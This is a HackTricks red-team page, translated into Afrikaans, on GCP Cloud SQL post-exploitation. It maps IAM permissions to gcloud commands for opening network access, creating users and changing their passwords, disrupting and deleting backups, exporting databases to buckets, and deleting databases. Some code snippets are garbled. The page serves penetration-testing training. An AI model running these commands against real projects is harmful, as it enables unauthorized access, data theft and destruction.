GCP - Cloud SQL Post Exploitation

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Cloud SQL

Vir meer inligting oor Cloud SQL, sien:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Om aan die databasisse te koppel, het jy net toegang tot die databasispoort nodig en moet jy die gebruikersnaam en wagwoord ken; daar is geen IAM-vereistes nie. Dus, ’n maklike manier om toegang te kry—veronderstel die databasis het ’n publieke IP-adres—is om die toegelate netwerke by te werk en jou eie IP-adres toe te laat om toegang daartoe te kry.

Laat jou IP toe en koppel aan die databasis ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

Dit is ook moontlik om **`--no-backup`** te gebruik om die **rugsteun van die databasis te ontwrig**.

Aangesien dit die vereistes is, is ek nie heeltemal seker waarvoor die permissies **`cloudsql.instances.connect`** en **`cloudsql.instances.login`** is nie. As jy dit weet, stuur asseblief 'n PR!

### `cloudsql.users.list`

Kry 'n **lys van alle gebruikers** van die databasis:

<details>

<summary>Lys databasisgebruikers</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

Hierdie toestemming laat toe om ’n nuwe gebruiker binne die databasis te skep:

Skep databasisgebruiker ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

Hierdie toestemming laat toe om ’n gebruiker binne die databasis te bywerk. Byvoorbeeld, jy kan die gebruiker se wagwoord verander:

Wysig gebruiker se wagwoord ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Backups kan ou sensitiewe inligting bevat, dus is dit interessant om dit na te gaan.
Restore a backup binne ’n databasis:

Herstel databasis backup ```bash gcloud sql backups restore --restore-instance ```

Om dit op ’n meer stealth manier te doen, word dit aanbeveel om ’n nuwe SQL instance te skep en die data daar te recover in plaas van in die tans lopende databases.

cloudsql.backupRuns.delete

Hierdie permission laat toe om backups te delete:

Delete backup ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

Eksporteer ’n databasis na ’n Cloud Storage Bucket sodat jy daarvandaan toegang daartoe kan kry:

Eksporteer databasis na bucket ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Voer ’n databasis in (oorskryf) vanaf ’n Cloud Storage Bucket:

Voer 'n databasis in vanaf bucket ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

Verwyder ’n databasis vanaf die db-instansie:

Verwyder databasis ```bash gcloud sql databases delete --instance ```

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks